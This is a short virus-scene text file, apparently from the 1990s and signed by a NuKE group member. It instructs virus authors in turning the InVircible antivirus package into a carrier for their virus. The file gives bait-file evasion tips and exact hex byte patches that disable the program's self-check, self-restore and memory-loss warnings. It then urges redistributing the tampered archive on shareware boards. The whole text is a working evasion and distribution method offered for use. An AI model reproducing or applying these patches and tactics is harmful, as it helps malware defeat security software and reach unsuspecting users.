   How to proliferate your latest virus using InVircible v6.01c as a host!

   First, you need to make sure your virus will avoid infecting the bait
   files IVSCAN will toss out. They are randomly named 3 byte COM files
   consisting of:
                    90      NOP
                  CD20      INT 20
   Easily taken care of.

   Next, you'll need to remove the self check/restore from the InVircible
   executable you wish to infect. First, UnLzexe the file (use UNP,TRON,
   whatever). Then patch it like so:

   Search: 74 03 E9 D1 FB
   Change: EB -- -- -- --

   If your virus adjusts the conventional memory size (like most do), you'll
   either need to change the virus or patch up the InVircible executable so
   it won't display that stupid 'Xk are missing from DOS System memory'
   messsage. Here are the patches:

   IVSCAN.EXE:
     Search: 80 3E F8 09 00 75 05
     Change: -- -- -- -- -- EB 50
   IVB.EXE:
     Search: 80 3E F2 04 00 75 05
     Change: -- -- -- -- -- EB 50
   IVINIT.EXE:
     Search: 80 3E 82 01 00 75 05
     Change: -- -- -- -- -- EB 50


   Then, rebuild the IVB.NTZ file and zip the mother fucker back up. Promptly
   distribute to shareware boards across the nation and you'll have given
   your new virus a chance to live!


   Later..
   irogen //NuKE\\

